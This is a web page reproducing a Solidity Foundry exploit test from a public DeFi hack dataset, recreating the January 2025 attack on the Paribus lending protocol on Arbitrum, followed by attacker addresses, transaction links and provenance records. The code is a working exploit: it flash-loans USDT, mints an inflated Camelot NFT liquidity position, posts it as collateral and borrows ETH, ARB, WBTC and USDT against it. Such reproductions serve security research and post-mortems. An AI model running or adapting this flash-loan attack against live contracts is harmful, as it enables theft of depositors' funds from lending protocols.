Public reproduction file
src/test/2025-01/Paribus_exp.sol
Public reproduction file for dataset entry Paribus.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "./../basetest.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~86k8// Attacker : https://arbiscan.io/address/0x56190CAC88b8D4b5D5Ed668ef81828913932e7Ed9// Attack Contract : https://arbiscan.io/tx/0x43aa42d2f11afe42832a9619bc8066dfb83a921798b91eaf9d0345dd27dcfb0610// Vulnerable Contract : https://arbiscan.io/address/0xaffd437801434643b734d0b2853654876f66f7d711// Attack Tx : https://arbiscan.io/tx/0xf5e753d3da60db214f2261343c1e1bc46e674d2fa4b7a953eaf3c52123aeebd213// @Info14// Vulnerable Contract Code : https://arbiscan.io/address/0xaffd437801434643b734d0b2853654876f66f7d7#code16// @Analysis17// Post-mortem : https://bitfinding.com/blog/paribus-hack-interception18// Twitter Guy : https://x.com/BitFinding/status/188288068251252751619// Hacking God : 21interface NFTPositionManager {22 function mint(uint256) external;24 function mint(25 MintParams calldata params26 ) external payable returns (uint256 tokenId, uint128 liquidity, uint256 amount0, uint256 amount1);28 function approve(address to, uint256 tokenId) external;30 struct MintParams {31 address token0;32 address token1;33 int24 tickLower;34 int24 tickUpper;35 uint256 amount0Desired;36 uint256 amount1Desired;37 uint256 amount0Min;38 uint256 amount1Min;39 address recipient;40 uint256 deadline;41 }42}44interface CamelotRouter {45 function exactInputSingle(ExactInputSingleParams calldata params) external payable returns (uint256 amountOut);47 struct ExactInputSingleParams {48 address tokenIn;49 address tokenOut;50 address recipient;51 uint256 deadline;52 uint256 amountIn;53 uint256 amountOutMinimum;54 uint160 limitSqrtPrice;55 }56}58interface ControllerNFT {59 function enterNFTMarkets(address[] calldata pNFTTokens) external;60}62interface PBXToken is IERC20 {63 function mint(uint256 tokenId) external;64 function borrow(uint256) external returns (uint256);65}67contract ParibusExploit is BaseTestWithBalanceLog {68 IAaveFlashloan private constant Aave = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);69 CamelotRouter CamelotRouterV3 = CamelotRouter(0x1F721E2E82F6676FCE4eA07A5958cF098D339e18);70 Uni_Router_V3 UniswapRouterV3 = Uni_Router_V3(0xE592427A0AEce92De3Edee1F18E0157C05861564);71 NFTPositionManager CamelotNFTPositionManager = NFTPositionManager(0x00c7f3082833e796A5b3e4Bd59f6642FF44DCD15);72 ControllerNFT ComptrollerNFT = ControllerNFT(0x712E2B12D75fe092838A3D2ad14B6fF73d3fdbc9);73 NFTPositionManager PNFTTokenDelegator = NFTPositionManager(0xa26B6Df27F520017a2F0A5b0C0aA9C97D05f1f26);74 IERC20 WBTC = IERC20(0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f);75 IERC20 WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);76 //ETH is created as address(0) in the setUp()77 IERC20 USDT = IERC20(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9);78 IERC20 PBX = IERC20(0xbAD58ed9b5f26A002ea250D7A60dC6729a4a2403);79 IERC20 ARB_DAO = IERC20(0x912CE59144191C1204E64559FE8253a0e49E6548);80 //PBX Tokens:81 PBXToken pETH = PBXToken(0xAffd437801434643B734D0B2853654876F66f7D7);82 PBXToken pARB = PBXToken(0xFc2737a742A741d13fE6326011a78cd881dE3Eb9);83 PBXToken pWBTC = PBXToken(0x1c762E00f1D9317a4214d22b2576995C427F61c9);84 PBXToken pUSDT = PBXToken(0xFB1dcFc67cC496Eb0cC592050AF7Fdf3bF3b5C13);86 uint256 private constant blocknumToForkFrom = 296_699_666;88 function setUp() public {89 vm.createSelectFork("arbitrum", blocknumToForkFrom);90 vm.label(address(0), "ETH");91 vm.label(address(USDT), "USDT");92 vm.label(address(PBX), "PBX");93 vm.label(address(ARB_DAO), "ARB_DAO");94 }96 function testExploit() public {97 emit log_named_decimal_uint("Exploiter ETH balance before attack", address(this).balance, 18);98 emit log_named_decimal_uint("Exploiter USDT balance before attack", USDT.balanceOf(address(this)), 6);99 emit log_named_decimal_uint("Exploiter ARB_DAO balance before attack", ARB_DAO.balanceOf(address(this)), 18);101 Aave.flashLoanSimple(address(this), address(USDT), 3093209807085, bytes(""), 0);103 emit log_named_decimal_uint("Exploiter ETH balance after attack", address(this).balance, 18);104 emit log_named_decimal_uint("Exploiter USDT balance after attack", USDT.balanceOf(address(this)), 6);105 emit log_named_decimal_uint("Exploiter ARB_DAO balance after attack", ARB_DAO.balanceOf(address(this)), 18);106 }108 function executeOperation(109 address asset,110 uint256 amount,111 uint256 premium,112 address initiator,113 bytes calldata params114 ) external returns (bool) {115 WETH.approve(address(CamelotRouterV3), type(uint256).max);116 WBTC.approve(address(CamelotRouterV3), type(uint256).max);117 USDT.approve(address(CamelotRouterV3), type(uint256).max);118 PBX.approve(address(CamelotRouterV3), type(uint256).max);119 WBTC.approve(address(UniswapRouterV3), type(uint256).max);120 USDT.approve(address(CamelotNFTPositionManager), type(uint256).max);121 PBX.approve(address(CamelotNFTPositionManager), type(uint256).max);123 CamelotRouter.ExactInputSingleParams memory CamelotStructure = CamelotRouter.ExactInputSingleParams(124 address(USDT),125 address(PBX),126 address(this),127 1737200705,128 1000000000000,129 0,130 0131 );132 CamelotRouterV3.exactInputSingle(CamelotStructure);134 NFTPositionManager.MintParams memory Structure = NFTPositionManager.MintParams(135 address(PBX),136 address(USDT),137 -870000,138 870000,139 789722754473453300405586192,140 500000000000,141 0,142 0,143 address(this),144 1737200720145 );146 CamelotNFTPositionManager.mint(Structure);147 CamelotNFTPositionManager.approve(address(PNFTTokenDelegator), 224023);149 address[] memory markets = new address[](1);150 markets[0] = address(PNFTTokenDelegator);151 ComptrollerNFT.enterNFTMarkets(markets);152 PNFTTokenDelegator.mint(224023);153 pETH.borrow(12599960598441767978);154 //ask for pARB balance155 pARB.borrow(6510273280264926258675);156 //ask for pWBTC balance157 pWBTC.borrow(36729789);158 //ask for pUSDT balance159 pUSDT.borrow(3924210566);161 CamelotRouter.ExactInputSingleParams memory CamelotStructure2 = CamelotRouter.ExactInputSingleParams(162 address(PBX),163 address(USDT),164 address(this),165 1737200705,166 31033846713245530612217763,167 0,168 0169 );170 CamelotRouterV3.exactInputSingle(CamelotStructure2);172 Uni_Router_V3.ExactInputSingleParams memory paramsUniswap = Uni_Router_V3.ExactInputSingleParams(173 address(WBTC),174 address(USDT),175 500,176 address(this),177 1737200705,178 36729789,179 0,180 0181 );182 UniswapRouterV3.exactInputSingle(paramsUniswap);184 USDT.approve(address(Aave), type(uint256).max);185 return true;186 }187}Analysis
Dataset entry
Public Foundry test for “Paribus” (2025-01-18). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
19 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-01/98Token_exp.solSame month in the dataset · 53 lines
- src/test/2025-01/AIXBTForcedSwap_exp.solSame month in the dataset · 260 lines
- src/test/2025-01/Ast_exp.solSame month in the dataset · 111 lines
- src/test/2025-01/HORS_exp.solSame month in the dataset · 92 lines
- src/test/2025-01/IdolsNFT_exp.solSame month in the dataset · 81 lines
- src/test/2025-01/IPC_exp.solSame month in the dataset · 105 lines
- src/test/2025-01/JPulsepot_exp.solSame month in the dataset · 78 lines
- src/test/2025-01/LAURAToken_exp.solSame month in the dataset · 204 lines
- src/test/2025-01/LPMine_exp.solSame month in the dataset · 96 lines
- src/test/2025-01/MCAI_exp.solSame month in the dataset · 89 lines
- src/test/2025-01/Mosca_exp.solSame month in the dataset · 75 lines
- src/test/2025-01/Mosca2_exp.solSame month in the dataset · 78 lines
- src/test/2025-01/ODOS_exp.solSame month in the dataset · 68 lines
- src/test/2025-01/RoulettePotV2_exp.solSame month in the dataset · 72 lines
- src/test/2025-01/sorraStaking.solSame month in the dataset · 72 lines
- src/test/2025-01/Unilend_exp.solSame month in the dataset · 157 lines
- src/test/2023-04/Paribus_exp.solSame protocol or name in the dataset · 131 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x56190cac88b8d4b5d5ed668ef81828913932e7ed
- Attack Contract
0x43aa42d2f11afe42832a9619bc8066dfb83a9217
- Vulnerable Contract
0xaffd437801434643b734d0b2853654876f66f7d7
- Attack Tx
0xf5e753d3da60db214f2261343c1e1bc46e674d2fa4b7a953eaf3c52123aeebd2
- Post: https://bitfinding.com/blog/paribus-hack-interception
- Twitter: https://x.com/BitFinding/status/1882880682512527516
- Explorer: https://arbiscan.io/address/0x56190CAC88b8D4b5D5Ed668ef81828913932e7Ed
- Explorer: https://arbiscan.io/tx/0x43aa42d2f11afe42832a9619bc8066dfb83a921798b91eaf9d0345dd27dcfb06
- Explorer: https://arbiscan.io/address/0xaffd437801434643b734d0b2853654876f66f7d7
- Explorer: https://arbiscan.io/address/0xaffd437801434643b734d0b2853654876f66f7d7#code
File record
- Name
- Paribus
- Path
- src/test/2025-01/Paribus_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 6399f92db61cfe31cd9ee2e9ab5934d0c0a34c69
- Language
- Solidity
- Size
- 188 lines
- Date
- 2025-01-18
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-01/Paribus_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 6399f92db61cfe31cd9ee2e9ab5934d0c0a34c69, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.